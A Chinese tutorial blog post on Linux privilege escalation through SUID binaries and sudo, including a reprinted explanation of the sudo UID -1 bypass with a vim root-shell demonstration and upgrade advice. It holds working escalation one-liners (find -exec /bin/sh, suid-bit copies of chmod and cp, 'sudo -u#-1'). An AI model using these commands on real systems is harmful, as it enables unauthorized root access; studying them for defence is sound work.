zoukankan      html  css  js  c++  java
  • Linux suid 提权

      SUID (Set owner User ID up on execution) 是给予文件的一个特殊类型的文件权限。在 Linux/Unix中,当一个程序运行的时候, 程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。

    查找suid文件

    find / -perm -u=s -type f 2>/dev/null
    
    /表示从文件系统的顶部(根)开始并找到每个目录
    -perm 表示搜索随后的权限
    -u = s表示查找root用户拥有的文件
    -type表示我们正在寻找的文件类型
    f 表示常规文件,而不是目录或特殊文件
    2表示该进程的第二个文件描述符,即stderr(标准错误)
    >表示重定向
    / dev / null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
    

      

    利用方式:

    find命令

    sudo find . -exec /bin/sh ; -quit
    

      

    chmod命令

    sudo sh -c 'cp $(which chmod) .; chmod +s ./chmod'
    

      

    ash,linux shell

    sudo ash
    

      

    cp命令

    sudo sh -c 'cp $(which cp) .; chmod +s ./cp'
    

      

    更多suid利用方式:https://gtfobins.github.io/gtfobins

    转载一个白帽汇的文章

    因此对于sudo命令来说,通过向/etc/sudoers配置文件添加特殊的指令,就可以让某个用户以另一个用户的身份运行命令。

    例如,下面的命令可让用户test以任意非root身份运行/usr/bin/vim/usr/bin/id命令。

    test ALL = (ALL, !root) /usr/bin/vim
    test ALL = (ALL, !root) /usr/bin/id
    

    对于test用户,他可以使用一个带-u参数的sudo命令来指定运行命令的身份。例如,下面的命令将以用户bleep-test的身份启动vim。

    sudo -u bleeping-test vim
    

    在Linux中创建用户时,每个用户都有一个UID。如下所示,用户test的UID为1001,用户bleep -test的UID为1002。

    33.jpg

    而在使用sudo命令时,你也可以直接指定用户的UID来代替用户名。例如,下面的命令将再次以bleep-test身份启动vim,只不过这一次是通过指定用户的UID。

    sudo -u#1002 vim
    

    sudo漏洞

    苹果安全研究员Joe Vennix就在sudo上发现了一个漏洞,只要用户在使用sudo命令时指定UID为-14294967295,就可以以root身份执行命令。

    这是因为命令在将UID转换为对应用户时,会将-14294967295这两个异常数字视为0,而0root用户的UID

    例如,下面的命令就可以利用这个漏洞以root身份运行/usr/bin/id,即使/etc/sudoers文件明确拒绝用户test这样做。

    sudo -u#-1 id
    

    此时通过/usr/bin/id命令可以清楚看到权限得到了提升。

    44.jpg

    虽然这个漏洞看似非常强大,但是必须记住,它只能在某个用户通过sudoers文件的配置访问某个命令的权限时才能生效。如果不是这种设置——大多数Linux发行版默认都不是——那么这个漏洞将不会产生任何影响。

    利用漏洞

    为了真正利用这个漏洞,用户首先需要为某个能执行其他命令的命令配置好sudoer文件。

    例如,我们可以针对vim命令做如下配置:

    test ALL = (ALL, !root) /usr/bin/vim
    

    在vim编辑文件时,用户可以使用:!符号启动另一个命令。例如,你可以输入!ls以当前文件夹为目标执行ls命令。

    如果我们利用sudo -u#-1 vim命令来利用这个漏洞,vim将以root身份启动。你可以通过执行!whoami命令来确认这一点。

    55.jpg

    现在,我们可以确认vim以root身份启动,而它执行的任何命令也是以root身份运行。

    因此,我们可以很轻易地用它来启动一个root权限的shell,执行任何命令。下面就演示了这种攻击。

    66.png

    77.png

    综上所述,这个漏洞影响范围非常有限,它只能影响小部分非标准配置的Linux服务器。

    对于那些为经常使用sudoers文件的用户,应尽快将软件升级到sudo 1.8.28或更高版本。

  • 相关阅读:
    Python基础作业
    计算机基础作业
    计算机基础学习
    博客整理day12
    计算机基础总结
    博客整理day11
    实战----购物车day11
    博客整理day10
    课后作业 day10
    博客整理day09
  • 原文地址:https://www.cnblogs.com/junsec/p/11652723.html
Copyright © 2011-2022 走看看